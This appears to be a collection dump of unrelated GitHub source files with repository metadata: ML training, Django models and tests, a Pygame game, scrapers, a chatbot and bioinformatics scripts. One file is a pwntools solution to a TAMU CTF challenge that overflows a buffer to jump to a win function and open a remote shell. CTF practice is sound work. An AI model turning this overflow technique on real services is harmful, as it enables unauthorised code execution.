in range(iters): idx = np.random.randint(0, len(sentenses), 5) x_sentenses = sentenses[idx] x_labels = torch.tensor(labels[idx]).float() vecs = utils.sens2vecs(x_sentenses, wv) if cuda_ok: x_labels,vecs = x_labels.cuda(),vecs.cuda() y_pred = model(vecs).squeeze() loss = loss_func(y_pred, x_labels) loss_sum += loss.item() if (j+1) % 100 == 0: print((j+1)*nbatch, " sentenses input, avarage loss:", loss_sum/(j+1)) if j+1 == iters: loss_all[i] = loss_sum/(j+1) print("[epochs", i+1, "/", epochs, "], avarage loss:", loss_all[i]) opt.zero_grad() loss.backward() opt.step() # 绘图 plt.figure() plt.plot([x for x in range(0, epochs)], loss_all) plt.xlabel("epochs") plt.ylabel("loss") plt.show() return model.cpu()

UTF-8

Python

false

3,157

py

37

sentiment.py

30

0.525091

0.511133

0

97

30.020619

86

ArtemAAA/FortyTwoTestTask

12,987,981,121,251

d886ab3c74d405be5eaf0eaa9736a77830a16ffd

5a5df9520bb0f375078cb4d0d25dcfc87a85ccda

/apps/hello/tests/test_hello_commands.py

af06f21d78c03856bac4662de3932efbdc6a0d43

[]

no_license

https://github.com/ArtemAAA/FortyTwoTestTask

0b2c6bc426deb7e9a22411bb23f03b86331e6dad

d19ba5f9317478f4cc25da02820cfcf05366b9ee

refs/heads/master

2018-03-27T08:49:24.172311

2018-01-23T15:03:25

65,746,167

0

null

true

2016-08-15T16:11:59

2016-05-13T12:24:57

2016-06-17T11:22:29

6,564

0

null

from django.test import TestCase from hello.models import Bio, Requests from django.core.management import call_command from django.utils.six import StringIO from model_mommy import mommy import sys class CommandsTest(TestCase): def setUp(self): self.object_bio = mommy.make(Bio) self.object_request = mommy.make(Requests) def test_objects_count_stdout_stderr(self): """command outputs correct objects count in stdout and stderr""" stdout = StringIO() sys.stdout = stdout stderr = StringIO() sys.stderr = stderr call_command('objectscount') objects_count_bio = str(Bio.objects.all().count()) model_name_bio = Bio.objects.get(id=1).__class__.__name__.lower() objects_count_requests = str(Requests.objects.all().count()) model_name_requests = ( Requests.objects.get(id=1).__class__.__name__.lower() ) bio_count = '%s - %s' % (model_name_bio, objects_count_bio) requests_count = '%s - %s' % (model_name_requests, objects_count_requests) self.assertIn(bio_count, stdout.getvalue()) self.assertIn(requests_count, stdout.getvalue()) self.assertIn(bio_count, stderr.getvalue()) self.assertIn(requests_count, stderr.getvalue())

UTF-8

Python

false

1,338

py

39

test_hello_commands.py

23

0.627803

0.626308

0

38

34.210526

73

pmisters/django-code-example

10,934,986,763,957

b5bcf6804ee717d2123c62eca9ed96079be88bef

dabc981714dd9297e811355fbb2f9f9a45c2281f

/board/models/_reservation_room.py

80fce76c677caf545bb88a67e056f4a39c490ca0

[]

no_license

https://github.com/pmisters/django-code-example

4c9c8c7edb174875ae4df4d32ae73b0897fc2333

745ac9d0c89d8ee44885cc862882d6c4d13993a0

refs/heads/master

2023-01-07T11:55:55.670943

2020-11-14T11:14:19

312,801,074

0

null

from decimal import Decimal from django.db import models from django.db.models.fields.json import JSONField from django.utils import timezone from common.db import TimeableModel class ReservationRoomQuerySet(models.QuerySet): def active(self): return self.filter(is_deleted=False) class ReservationRoom(TimeableModel): reservation = models.ForeignKey('board.Reservation', on_delete=models.CASCADE, related_name='rooms') channel_id = models.CharField(max_length=20) rate_id = models.PositiveIntegerField(blank=True, null=True) rate_plan_id = models.PositiveIntegerField(blank=True, null=True) rate_plan_id_original = models.PositiveIntegerField(blank=True, null=True) channel_rate_id = models.CharField(max_length=20) channel_rate_id_changed = models.CharField(max_length=20) checkin = models.DateField() checkin_original = models.DateField() checkout = models.DateField() checkout_original = models.DateField() # original price from OTA price = models.DecimalField(max_digits=10, decimal_places=2, blank=True, default=0) # price accepted by Hotelier price_accepted = models.DecimalField(max_digits=10, decimal_places=2, blank=True, default=0) # original price from OTA netto_price = models.DecimalField(max_digits=10, decimal_places=2, blank=True, default=0) # price accepted by Hotelier netto_price_accepted = models.DecimalField(max_digits=10, decimal_places=2, blank=True, default=0) external_id = models.CharField(max_length=20, blank=True, null=True) external_name = models.CharField(max_length=250, blank=True, default='') guest_name = models.CharField(max_length=150, blank=True, default='') guest_count = models.PositiveSmallIntegerField(blank=True, default=1) adults = models.PositiveSmallIntegerField(blank=True, default=0) children = models.PositiveSmallIntegerField(blank=True, default=0) max_children = models.PositiveSmallIntegerField(blank=True, default=0) extra_bed = models.PositiveSmallIntegerField(blank=True, default=0) with_breakfast = models.BooleanField(default=False) currency = models.CharField(max_length=3, blank=True, null=True) tax = models.DecimalField(max_digits=10, decimal_places=2, blank=True, default=0) fees = models.DecimalField(max_digits=10, decimal_places=2, blank=True, default=0) notes_extra = models.TextField(blank=True, default='') notes_facilities = models.TextField(blank=True, default='') notes_info = models.TextField(blank=True, default='') notes_meal = models.TextField(blank=True, default='') policy = JSONField(blank=True, default=dict) policy_original = JSONField(blank=True, default=dict) is_deleted = models.BooleanField(default=False, db_index=True) deleted_at = models.DateTimeField(blank=True, null=True) objects = ReservationRoomQuerySet.as_manager() class Meta: app_label = 'board' def __str__(self) -> str: return f"CHANNEL ID={self.channel_id} RATE={self.channel_rate_id}" def save(self, **kwargs) -> None: self.guest_count = self.guest_count or 1 for name in ('adults', 'children', 'max_children', 'extra_bed'): if getattr(self, name) is None: setattr(self, name, 0) for name in ('price', 'price_accepted', 'tax', 'fees', 'netto_price', 'netto_price_accepted'): if getattr(self, name) is None: setattr(self, name, Decimal(0)) for name in ('external_name', 'guest_name', 'notes_extra', 'notes_facilities', 'notes_info', 'notes_meal'): if getattr(self, name) is None: setattr(self, name, '') if 'update_fields' in kwargs and kwargs['update_fields']: kwargs['update_fields'].append('updated_at') super().save(**kwargs) def delete(self, **kwargs) -> None: self.is_deleted = True self.deleted_at = timezone.now() self.save(update_fields=['is_deleted', 'deleted_at'])

UTF-8

Python

false

4,019

py

121

_reservation_room.py

111

0.692212

0.680518

0

92

42.684783

115

rupeshpurum/automation

7,610,682,094,749

5c393e1818b7b09144b03d54acf8863da16b29e9

4da481c5d2746a2b2bf34b87bad03288b67edc9f

/pluginimpl/OIDautomation/oid.py

82af43693db41fb103a6d5e7d657300155e0b1c7

[]

no_license

https://github.com/rupeshpurum/automation

fc25bbce752996341f0c2d7ac3c1b3b6e89854c6

bd2d8f66c76699d9c88df3e321dba614a7175981

refs/heads/master

2020-04-21T07:22:09.704456

2019-04-09T05:49:36

169,390,601

0

null

true

2019-02-06T10:44:17

2019-01-02T13:12:51

2019-01-02T13:12:48

8,659

0

null

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null

from typing import List, Any, Union __author__ = 'Shanmukh' import sys from array import * import xml.dom.minidom from lxml import etree # Function to generate the OID def get_oid(doc, col): """ :param col: colomn which requires the oid :param doc: The mib repository object :return result: returns all possible oid's of col """ result=[] # type: List[Union[str, Any]] entry = doc.getElementsByTagName("entry") for id in entry: arg = '' if id.getAttribute("name") == col: # print("suffix: ", id.getAttribute("id"), "colomn: ", id.getAttribute("name"), "\n") suffix=id.getAttribute("id") ancestors = [] value = id.getAttribute("id") ancestors.append(int(value)) parent = id.parentNode while parent != None: try: id = parent.getAttribute("id") except: pass try: ancestors.append(int(id)) except: pass parent = parent.parentNode OID = ancestors[::-1] for i in OID: arg = arg + "." arg = arg + str(i) result.append(arg) if len(result) != 0: try: print (suffix) return result except: print('No match for ',col) else: print("Didn't find a match for \"", col, "\"") # Global Initializations result = [] path='/home/sthummala/workspace/vsure/centina/sa/profiles/' # prompts and stores mib-repo name # mib_repository = input('Enter the mib-repository name: ') # @todo get the mib-repository name from the user # Parsing using dom doc = xml.dom.minidom.parse("eltek-mib-repository.xml") # searchString = input() oid = get_oid(doc, 'alarmUserConfigurable8Trap') print("OID: ", oid) profileXml='/home/sthummala/workspace/vsure/centina/sa/profiles/eltek.xml' parser = etree.XMLParser(strip_cdata=False) root = etree.parse(profileXml, parser) dependency=root.find('dependencies') for i in dependency.findall('file'): temp=i.get('path') if 'snmp/inventory/' in temp: if '.dtd' not in temp and 'if-mib' not in temp and 'pm/templates/' not in temp: parser=etree.XMLParser(strip_cdata=False) inventoryFile=etree.parse(path+temp,parser) table=inventoryFile.findall('table') for i in table: print (i.get('name')) print (get_oid(doc, i.get('name'))) # print (temp) if 'pm' in temp: if '.dtd' not in temp and 'if-mib' not in temp and 'pm/templates/' not in temp: pmRoot = etree.parse(path+temp, parser) for mg in pmRoot.iter('metricGroup'): for met in mg.findall('parameter'): met.attrib['oid']=get_oid(doc, met.get('name')) print (met.get('oid') )

UTF-8

Python

false

2,978

py

10

oid.py

3

0.558428

0.557421

0

98

29.346939

97

FTLiao/AlgoCrawl

4,209,067,974,262

5cb6d0c994984784ee921e40d045c47ce383087b

2bcea666ed191177d1d3d0d766c4810949d41898

/leetcode/lc271_Encode_and_Decode_Strings.py

d2ecf4709dfc52d18615340ddc680b5aa06ef61b

[]

no_license

https://github.com/FTLiao/AlgoCrawl

44f8245ddca422ff96cddf1c76fe0f4cb358b60c

4d8aa8088a6fe8efdeacbcfa33d4c93aaf3252f8

refs/heads/master

2020-12-12T21:30:21.784793

2020-10-06T15:18:13

234,232,039

0

null

class Codec: def encode(self, strs: [str]) -> str: """Encodes a list of strings to a single string. """ string = '' for word in strs: string += word + chr(257) return string def decode(self, s: str) -> [str]: """Decodes a single string to a list of strings. """ output = [] start = 0 for end in range(len(s)): if s[end] == chr(257): output.append(s[start:end]) start = end + 1 return output # Your Codec object will be instantiated and called as such: # codec = Codec() # codec.decode(codec.encode(strs))

UTF-8

Python

false

659

py

481

lc271_Encode_and_Decode_Strings.py

475

0.514416

0.502276

0

23

27.652174

60

sthompsonxyz/Rosalind_Algs

6,124,623,382,090

ab18044cdaef3bffb902957eb029c8b0eb2b0f53

8b59f690ecfe60191e9e4c80bc7bfe877b7f1c19

/alg9/ros_alg9_DNAmotif.py

9d837517716bc545e1afcd325e79fb7a26a7d11d

[]

no_license

https://github.com/sthompsonxyz/Rosalind_Algs

ecb53a822b57bfe741fcafb43dc5d62381069d6f

1246dbc634dd2897378c3facfeceb1f78a51ed30

refs/heads/master

2016-09-05T19:11:56.458900

2015-02-28T23:24:11

30,469,023

0

null

#!/usr/bin/python import re import pprint import sys from Bio import SeqIO class sequence: name = '' bases = '' seqs = list() regx = re.compile("^>[^\\n]+", re.I) myF = open("./fastaseqs.fa") next_seq = sequence() # gets fasta sequences from file and puts them into seq object for manip # look at using biopython class here.. while 1: line = myF.readline() if not line: store_seq = sequence() store_seq.name = next_seq.name store_seq.bases = next_seq.bases seqs.append(store_seq) break if regx.search(line): if next_seq.name: store_seq = sequence() store_seq.name = next_seq.name store_seq.bases = next_seq.bases seqs.append(store_seq) next_seq.bases = '' next_seq.name = line.rstrip() else: next_seq.bases = next_seq.bases + line.rstrip() #check all sequences are the same length length = len(seqs[0].bases) for z in seqs: if length != len(z.bases): sys.exit("all sequences need to be same length!\n") Aprofile = list() Cprofile = list() Gprofile = list() Tprofile = list() profile = list() for pos in range(0, length-1): a = c = g = t = 0 for seq in seqs: if seq.bases[pos] == 'A': a = a+1 elif seq.bases[pos] == 'C': c = c+1 elif seq.bases[pos] == 'G': g = g+1 elif seq.bases[pos] == 'T': t = t+1 Aprofile.append(a) Cprofile.append(c) Gprofile.append(g) Tprofile.append(t) print "A: ", for i in range(0, length-1): print Aprofile[i], print "\nC: ", for i in range(0, length-1): print Cprofile[i], print "\nG: ", for i in range(0, length-1): print Gprofile[i], print "\nT: ", for i in range(0, length-1): print Tprofile[i], for seq_record in SeqIO.parse("./fastaseqs.fa", "fasta"): print seq_record.id print seq_record.seq print(len(seq_record))

UTF-8

Python

false

1,739

py

15

ros_alg9_DNAmotif.py

12

0.645198

0.635423

0

84

19.714286

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justjake12/mom-chatbot

11,536,282,204,153

f30b294481fe313f81a96d6835c71da9ce736ec2

787e416394fbdf14bbacb7aa82daadf3a8ef8065

/ProjectTemplate/my_module/functions.py

41fbd4da2aebe99ac8011befee5d27fd8f4c1a7e

[]

no_license

https://github.com/justjake12/mom-chatbot

cb9d9b9f15fadfe027cc1351c46230999791de78

7d7b124aeab49cae422d89437aedda6d2822b68a

refs/heads/master

2020-04-11T01:13:18.034677

2018-12-12T00:03:47

161,409,061

0

null

"""A collection of functions for doing my project.""" import string import nltk import random #MY OUTPUTS BYE = ['I will talk to you later', 'Be safe', \ 'Call me after class', 'Adios mi amorcito'] ADVICE_IN = ['help', 'stressed', 'depressed', 'nervous', 'advice', 'anxious', 'sad', 'feeling down'] QUESTION_OUT = ["Oh honey, I don't know", "Let me ask Dad", "I'll just call you later"] RANDOM = ['Oh okay', 'Call me when you can', 'What?', 'Sounds good', 'Watch your tone'] GREETING_IN = ['morning', 'hey', 'whatsup', 'hi', 'hello', 'hola', 'yo'] GREETING_OUT = ['Good morning, honey!', 'How are you?', \ 'yo yo yo', 'que pasa', \ 'I was just thinking about you', \ 'Dad and I were just talking about you'] HUMOR_IN = ['joke', 'haha', 'funny', 'lmao', 'lol'] HUMOR_OUT = ['you get your humor from me', \ 'dont be surprised. you know im the funny one', \ 'why was that funny?', 'what does that even mean'] LOVEY_IN = ['love', 'miss'] LOVEY_OUT = ['I love you more, sweetie', 'I miss you so much. Come home soon', \ 'Not as much as I love you'] HOW_IN = ['How are you?', 'How was your day?'] HOW_OUT = ['Im good, sweetie! Thanks for checking up on me', \ 'Everything is good so far today!', 'Better than yesterday, but still not great', \ 'Ugh Im a little frustrated but everything will pass!'] def prepare_text(input_string): """Function to take a string, and separate it into a list Code taken from A3""" temp_string = remove_punctuation(input_string.lower()) out_list = temp_string.split() return(out_list) def is_question(input_string): """ Function to determine if the input is a question or not Code from Assignment 3 to determine if the input is a question""" for item in input_string: if '?' in input_string: output = random.choice(QUESTION_OUT) else: output = random.choice(RANDOM) return(output) def selector(input_list, check_list, return_list): """Function designed to check if a list of inputs is in the second list, and if so, a list of responses is ready Code From A3""" output = None for item in input_list: if item in input_list and item in check_list: output = random.choice(return_list) return(output) def remove_punctuation(input_string): """ Function designed to get rid of any punctuation in our input string Code From A3 """ out_string = '' for char in input_string: if char not in string.punctuation: out_string = out_string + char return(out_string) def end_chat(input_list): """Function defined to end our chatbot if 'bye' comes in the input Code From A3""" if 'bye' in input_list: return(True) else: return(False) def list_to_string(input_list, separator): """Function to combine a list of strings into one coherent string Code from A3""" output = input_list[0] for item in input_list[1:3]: output = string_concatenator(output, item, separator) return(output) def string_concatenator(string1, string2, separator): """Function to combine multiple strings into one coherent string Code From A3""" output = string1 + separator + string2 return(output) def is_in_list(list_one, list_two): """Check if any element of list_one is in list_two.""" """CODE GIVEN TO US IN A3""" for element in list_one: if element in list_two: return True return False def find_in_list(list_one, list_two): """Find and return an element from list_one that is in list_two, or None otherwise.""" for element in list_one: if element in list_two: return element return None

UTF-8

Python

false

3,860

py

5

functions.py

3

0.621503

0.617617

0

131

28.473282

116

duhoang00/python-data-analysis-lessons

3,736,621,584,099

e35b49482b3143a669dcae95c0bd6e0c2b20b97c

7a24bc8b68e3ced92701da47eb41c3e32fdeb83a

/HomeWork_Function/Bai1_NamNhuan.py

4020ffdc693b35301d4c3408b3adfcb8b378fe59

[]

no_license

https://github.com/duhoang00/python-data-analysis-lessons

4e45a0ade1e638a203f00fabededeb464b06affc

22e89d517787f6166e4f2089e66a6eb7f83027d6

refs/heads/main

2023-06-25T02:43:06.390134

2021-07-20T14:08:42

382,753,931

0

null

n = 0 while True: user_input = input("Nhập N = ") try: n = int(user_input) if n > 0: break except ValueError: pass if n % 100 == 0: if n % 400 == 0: print(n, "là năm nhuận") else: print(n, "không phải là năm nhuận") elif n % 4 == 0: print(n, "là năm nhuận") else: print(n, "không phải là năm nhuận")

UTF-8

Python

false

406

py

32

Bai1_NamNhuan.py

30

0.486911

0.455497

0

20

18.1

43

NimraSadaqat/dynamicwebsitescraper

7,456,063,253,137

2babbf1a5b95eff39c193deb9943de0c207c1d0e

19f511e826f3f1285d49087fa8a37c4317f44180

/koovs/koovs/spiders/koov.py

31600428c4d5bb635ceb6c38ee8143ccb094e29b

[]

no_license

https://github.com/NimraSadaqat/dynamicwebsitescraper

4131061d00f3b1a83332c45d22146b29f49ab269

7fac2f2a4549a005a076fd3720830b17c96d6d85

refs/heads/master

2022-12-06T05:21:30.167678

2020-08-19T07:49:01

288,490,222

0

null

import scrapy from selenium.common.exceptions import TimeoutException from ..items import KoovsItem from selenium import webdriver from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By import time class KoovSpider(scrapy.Spider): name = 'koov' start_urls = ['https://www.koovs.com/tags/sweet-summer-vibes'] def __init__(self, name=None, **kwargs): super(KoovSpider, self).__init__(name, **kwargs) self.browser = webdriver.Chrome('D:/chromedriver_win32/chromedriver.exe') @staticmethod def get_selenium_response(browser, url): browser.get(url) WebDriverWait(browser, 10).until(EC.presence_of_all_elements_located((By.XPATH, "//*[@id='prodBox']/li"))) table = browser.find_element_by_css_selector("#prodBox") get_number = 0 while True: count = get_number products = table.find_elements_by_css_selector("li.imageView") # print(products) browser.execute_script("arguments[0].scrollIntoView();", products[-1]) # scroll to last row try: button = WebDriverWait(browser, 10).until(EC.element_to_be_clickable((By.ID, "loadMoreList"))) button.click() except TimeoutException: print("No more LOAD MORE RESULTS button to be clicked") break get_number = len(products) print(get_number) time.sleep(1) if get_number == count: break return browser.page_source.encode('utf-8') def parse(self, response): koov_response = scrapy.Selector(text=self.get_selenium_response(self.browser, response.url)) # Sending url to selenium webdriver and collecting the selenium response item = KoovsItem() products = koov_response.css('li.imageView') a=1 for x in products: item['no'] = a a = a+1 title = x.css('.productName::text').extract() price = x.css('.product_price').css('::text').extract() image = x.css('img.prodImg::attr(src)').extract() item['title'] = ''.join(title) item['price'] = ''.join(price) item['image'] = ''.join(image) with open('data.txt', 'a', encoding="utf-8") as f: # Writing data to file f.write('Item No: {0}, Title: {1},Price: {2}, Image: {3}\n'.format(item['no'], item['title'], item['price'], item['image'])) yield item # Writing data to sqlite database file

UTF-8

Python

false

2,643

py

3

koov.py

1

0.603859

0.597049

0

61

42.327869

173

Armando123x/JuegosPygame

12,841,952,232,188

38b72257525cc5ecad52e81d3695bc211f7170eb

10cf226c1481d83274939d6a2fe8b7582b30e992

/Sprites/BreakBlocks/__init__.py

6110e0cc9d06dea66c344d2e3d20e4e52f279c32

[]

no_license

https://github.com/Armando123x/JuegosPygame

3f9bbbdd3b031731849010f48e4463f4034c4f1c

b497a94fcc4e79ab23d8d5f06320a80b2b3e0588

refs/heads/master

2021-09-15T00:35:59.447370

2018-03-04T06:38:36

null

0

null

import pygame import random from sprites import * COLOR_FONDO = (40, 40, 220) ROJO = (180, 20, 40) COLOR_PROYECTIL = (120, 130, 20) AMARILLO = (200, 200, 10) ANCHO_PANTALLA = 700 ALTO_PANTALLA = 500 class Juego(object): def __init__(self): self.game_over = False self.puntuacion = 0 self.lista_colores = [(200, 50, 10), (220, 250, 10), (20, 230, 10), (250, 200, 10)] self.lista_sprites = pygame.sprite.Group() self.lista_bloques = pygame.sprite.Group() self.lista_proyectiles = pygame.sprite.Group() for y in range(10, 125, 25): for x in range(10, 680, 62): bloque = Bloque(self.lista_colores[random.randint(0, 3)]) bloque.position(x, y) self.lista_bloques.add(bloque) self.lista_sprites.add(bloque) self.protagonista = Protagonista() self.protagonista.rect.y = 470 self.lista_sprites.add(self.protagonista) def procesa_eventos(self): for evento in pygame.event.get(): if evento.type == pygame.QUIT: return True elif evento.type == pygame.MOUSEBUTTONDOWN: if self.game_over: self.__init__() else: proyectil = Proyectil(self.protagonista.get_color()) proyectil.rect.x = (self.protagonista.rect.x + self.protagonista.image.get_width() / 2) - 4 proyectil.rect.y = self.protagonista.rect.y self.lista_sprites.add(proyectil) self.lista_proyectiles.add(proyectil) self.protagonista.change_color(self.lista_colores[random.randint(0, 3)]) return False def logica_ejecucion(self): if not self.game_over: self.lista_sprites.update() for proyectil in self.lista_proyectiles: lista_bloques_alcanzados = pygame.sprite.spritecollide(proyectil, self.lista_bloques, False) for bloque in lista_bloques_alcanzados: self.lista_proyectiles.remove(proyectil) self.lista_sprites.remove(proyectil) if proyectil.get_color() == bloque.get_color(): self.lista_sprites.remove(bloque) self.lista_bloques.remove(bloque) self.puntuacion += 1 if proyectil.rect.y < -10: self.lista_proyectiles.remove(proyectil) self.lista_sprites.remove(proyectil) if len(self.lista_bloques) == 0: self.game_over = True def display_frame(self, pantalla): pantalla.fill(COLOR_FONDO) if self.game_over: fuente = pygame.font.SysFont("Dimitri Swank", 45) texto = fuente.render("..::BREAK-BLOCKs::..", True, AMARILLO) centrar_x = (ANCHO_PANTALLA // 2) - (texto.get_width() // 2) centrar_y = (ALTO_PANTALLA // 2) - (texto.get_height() // 2) pantalla.blit(texto, [centrar_x, centrar_y]) fuente = pygame.font.SysFont("Dimitri Swank", 25) texto = fuente.render("Haz click para volver a jugar", True, AMARILLO) centrar_x = (ANCHO_PANTALLA // 2) - (texto.get_width() // 2) pantalla.blit(texto, [centrar_x, centrar_y + 50]) if not self.game_over: self.lista_sprites.draw(pantalla) pygame.display.flip() def main(): pygame.init() dimensiones = [ANCHO_PANTALLA, ALTO_PANTALLA] pantalla = pygame.display.set_mode(dimensiones) pygame.display.set_caption(".::BREAK-BLOCK::.") #pygame.mouse.set_visible(False) game_loop = False reloj = pygame.time.Clock() juego = Juego() while not game_loop: game_loop = juego.procesa_eventos() juego.logica_ejecucion() juego.display_frame(pantalla) reloj.tick(60) pygame.quit() if __name__ == "__main__": main()

UTF-8

Python

false

4,012

py

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__init__.py

49

0.566052

0.539133

0

114

34.201754

111

genomeannotation/reformat

8,693,013,832,860

44f8d971028a8e86446ce0d63770a1291c4040c9

28e6cd8e80849392cb372a828c61049f0ab7fff8

/src/vcf.py

c5601e85a2dc54e5c1c97118373d1af69f84fc61

[]

no_license

https://github.com/genomeannotation/reformat

e683bf5bd61908af679a4ac682fe590d1ab1f3c8

58bbaccfc1c018db7cbc79d2dec07321b4fab9ff

refs/heads/master

2021-01-17T12:37:16.260366

2016-06-22T20:16:16

59,068,256

0

1

null

#!/usr/bin/env python import os import sys class Vcf: def __init__(self): """nothing""" #read info from vcf def read_vcf(self, vcf_filename, data): # Verify and read VCF file if not os.path.isfile(vcf_filename): sys.stderr.write("Failed to find " + vcf_filename + ".\n") sys.exit() fi = open(vcf_filename, 'r') allLines = fi.readlines() g = 0 for i, words in enumerate(allLines): words = words.strip('\n') splits = words.split("\t") data.cleaned_map.append([]) #take individual names if splits[0] == "#CHROM": data.ind_names = splits[9:] data.cleaned_map[-1].append(words) g = 1 #take SNP data elif g == 1: #SNP label data.SNP_labels.append("S" + splits[2] + "_" + splits[1]) #SNP reference and alternative data.REF_ALT.append([]) data.REF_ALT[-1].append(splits[3]+splits[4]) #SNP data data.SNPs.append([]) for snp in splits[9:]: data.SNPs[-1].append(snp.split(":")[0]) data.cleaned_map[-1].append(splits[0].split("|")[3]) data.cleaned_map[-1].append(splits[1]) #progress output sys.stdout.write('\r') sys.stdout.write("[reading " + vcf_filename + ": " + str(round(((i+1)*100/len(allLines)))) + "%]") sys.stdout.flush() i = i+1 fi.close() sys.stdout.write("\n")

UTF-8

Python

false

1,298

py

10

vcf.py

10

0.595532

0.577042

0

52

23.942308

101

ZachMillsap/PyCharm

10,393,820,892,028

085638a3af9420413427aef04300a65732b46266

a228c12564e6dfdd6a0770b2ae008319bd89490d

/Module7/fun_with_collections/Topic 3/write.py

6fa75a0aac426bd0f819c47bffb77e8f4bbd21f3

[]

no_license

https://github.com/ZachMillsap/PyCharm

27158e4e5a06f87d03d0a4c069ae908e19108a4a

870a81120c55f134ffaa2a22b79a5c3f2de9c6c8

refs/heads/master

2022-11-25T09:11:58.504544

2020-08-03T01:38:33

274,780,004

0

null

def write_to_file(args, kwargs): f = open('student_info.txt', 'w') f.write(kwargs) tuple = (args) input_list = tuple f.writelines(input_list) f.close() def get_student_info(*args, **kwargs): for key, value in kwargs.items(): print("%s == %s" % (key, value)) kwargs = str(kwargs) scores = [] line = input('Enter the list of scores. Enter done to end\n') while(line != 'done'): scores.append(tuple(line.split())) line = input() args = str(scores) write_to_file(args, kwargs) def read_from_file(): import os as os file_dir = os.path.dirname(__file__) file_name = "student_info.txt" f = open(os.path.join(file_dir, file_name), "r") line1 = f.read() print(line1) f.close() if __name__ == '__main__': get_student_info(name = 'zach') get_student_info(name = 'steven') get_student_info(name = 'tim') get_student_info(name = 'rachel') read_from_file() input("Press any key to end")

UTF-8

Python

false

1,010

py

25

write.py

23

0.576238

0.574257

0

38

25.578947

65

blha303/mcmoddb

13,039,520,721,714

99df44ee446eac203cadf045048909dead995580

0e2e3c46caa1d048ad6d63408508ed0d45895929

/platform_utils/moddb_config.py

3bfa7fae8f81dcea592aeec9bfcf471a0708fd46

[]

no_license

https://github.com/blha303/mcmoddb

b50b087975284d2e1e77db309c7ac5a57d75ca95

d87e2c5f047082dde77ba45a7382f3a1966a76f1

refs/heads/master

2020-04-06T06:56:24.633246

2013-01-13T18:38:51

7,591,803

1

0

null

#!/usr/bin/env python2 Config = { 'autodl': True, # Automatic downloading of the ModDB. Valid options: True False . Case sensitive. 'checkdl': True, # Automatic checking of the ModDB. Valid options: True False . Case sensitive. 'showchecksum': False, # Show the checksums of the DBs downloaded. Valid options: True False . Case sensitive. 'tmpdir': "tmp", # Directory for storing temporary files. 'moddir': "mods", # Directory for storing downloaded mods. 'dbdir': "db", # Directory for storing the DBs 'tmpdbfile': 'moddb_tmp.yml', # Temporary db file 'localdbfile': 'moddb_local.yml', # Local db file 'globaldbfile': 'moddb_global.yml', # Global db file 'serverdb': "http://elemeno.dyndns.org/moddb/moddb_global.yml", 'installdbfile': 'installed.yml', 'force-platform': '' }

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arischow/Tweetbo

8,031,588,887,628

e8784c3f2c9a73e04f3efcdd01e0cb1001e9d5f9

6d0a2136d480c41b63b813037606ffe2d31094ac

/auto_json.py

129b1b77ba65c142041ef99ea9f97543d974f9e1

[]

no_license

https://github.com/arischow/Tweetbo

f47cf36bccf902152d2d8fe2a30b92454b28151d

7aad68389f3d616bcb500ddf8e035335e5a4ff5f

refs/heads/master

2016-09-12T13:54:15.679082

2016-07-23T02:58:48

63,911,246

0

null

class JSONRepr(object): def json(self): raise NotImplementedError def formatted_json(self, d): raise NotImplementedError def excluded(self): return [] def serialize(self): return self.__dict__ class SignUpJSON(JSONRepr): def __init__(self): self.success = False self.message = None self.error = None # # sj = SignUpJSON() # print(sj.__dict__, type(sj.__dict__))

UTF-8

Python

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443

py

10

auto_json.py

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0

22

19.136364

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Raymolu/DjangoDev1

12,704,513,267,409

1d69fece6dd81cdbae11f9a6529339e1e7a0d4a2

8ae01e427d9302abde2768bb6db35fcb16ff9c68

/DjangoT1/trackit/TicketManager/migrations/0005_auto_20200312_1457.py

9d74b6fed10236b918b9fadb6f583e1f6a712f0a

[]

no_license

https://github.com/Raymolu/DjangoDev1

d98e6b372da4812fd26e9ef27e29ee063ae2710a

4ddd61565db7185c70363f585dede3027c10f796

refs/heads/master

2021-03-29T21:20:34.670126

2020-03-20T21:53:27

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# Generated by Django 2.2.5 on 2020-03-12 18:57 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('TicketManager', '0004_auto_20200312_1454'), ] operations = [ migrations.RenameField( model_name='ticket', old_name='status1', new_name='status', ), ]

UTF-8

Python

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370

py

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0005_auto_20200312_1457.py

26

0.575676

0.489189

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mwales/security

12,317,966,220,764

84a777bfedfc7f080e36456287684d89c77896d2

5a3c7d80cb3c96c91953d53f1e2965fce619db55

/ctf/tamu_ctf_22/pwn/trivial/solve.py

852896652b315b0baac7cba07b645bea36052811

[]

no_license

https://github.com/mwales/security

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a532866fc0e747f2c935f64495d97fdf8a364fa0

refs/heads/master

2023-09-01T21:41:20.329823

2023-08-27T03:45:28

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2018-12-01T06:11:20

2016-09-17T03:31:15

2018-12-01T06:11:17

2018-12-01T06:11:16

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#!/usr/bin/env python3 # Simple buffer overflow. Just call win function and then use remote shell # to dump out the flag.txt from pwn import * p = remote("tamuctf.com", 443, ssl=True, sni="trivial") #p = process("./trivial") #p = gdb.debug("./trivial",''' # b main # run # ''') e = ELF("./trivial") winAddr = e.symbols["win"] print("Win addr {}".format(hex(winAddr))) payload = b'a' * 0x58 payload += p64(winAddr) p.send(payload) p.send(b"\n") p.interactive()

UTF-8

Python

false

494

py

212

solve.py

106

0.611336

0.593117

0

30

15.466667

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arthur900530/Python-practice

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e70d6ef3a7c44a088e6b4fcaa8c73cac9e85bfa8

/Ch23/example1.py

8462237eb45dc0328afc8a759524cf58a8f20dfd

[]

no_license

https://github.com/arthur900530/Python-practice

731dd3597f6493d95c77c2ed04f6905e7592ac9a

73e8b106e639964077dc638275d96c830f51afc7

refs/heads/master

2023-07-29T04:06:56.556199

2021-09-17T12:30:37

407,533,594

0

null

import bs4 import requests url = 'https://www.taiwanlottery.com.tw/index_new.aspx' html = requests.get(url) print('Downloading...') html.raise_for_status() print('Finish download !') objSoup = bs4.BeautifulSoup(html.text,'lxml') dataTag = objSoup.select('.contents_box02') print('Length:',len(dataTag)) # for i in dataTag: # print(i) balls = dataTag[0].find_all('div',{'class':'ball_tx ball_green'}) redBall = dataTag[0].find_all('div',{'class':'ball_red'}) for i in range(6): print(balls[i].text, end=' ') print('\n',redBall[0].text)

UTF-8

Python

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544

py

46

example1.py

39

0.681985

0.667279

0

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dinhluongzalora/Practical-Security-Automation-and-Testing

4,217,657,912,703

6cbc83a95312fe0ebc9a5c448e9d4426c6e79d2c

55ff0e0d23feb2684bbdf7b29d2302d12d3d1501

/Chapter06/userregistration_SB.py

ddd0f36f37140f06eb30708a6a4e2e45dcee2ad0

[ "MIT" ]

permissive

https://github.com/dinhluongzalora/Practical-Security-Automation-and-Testing

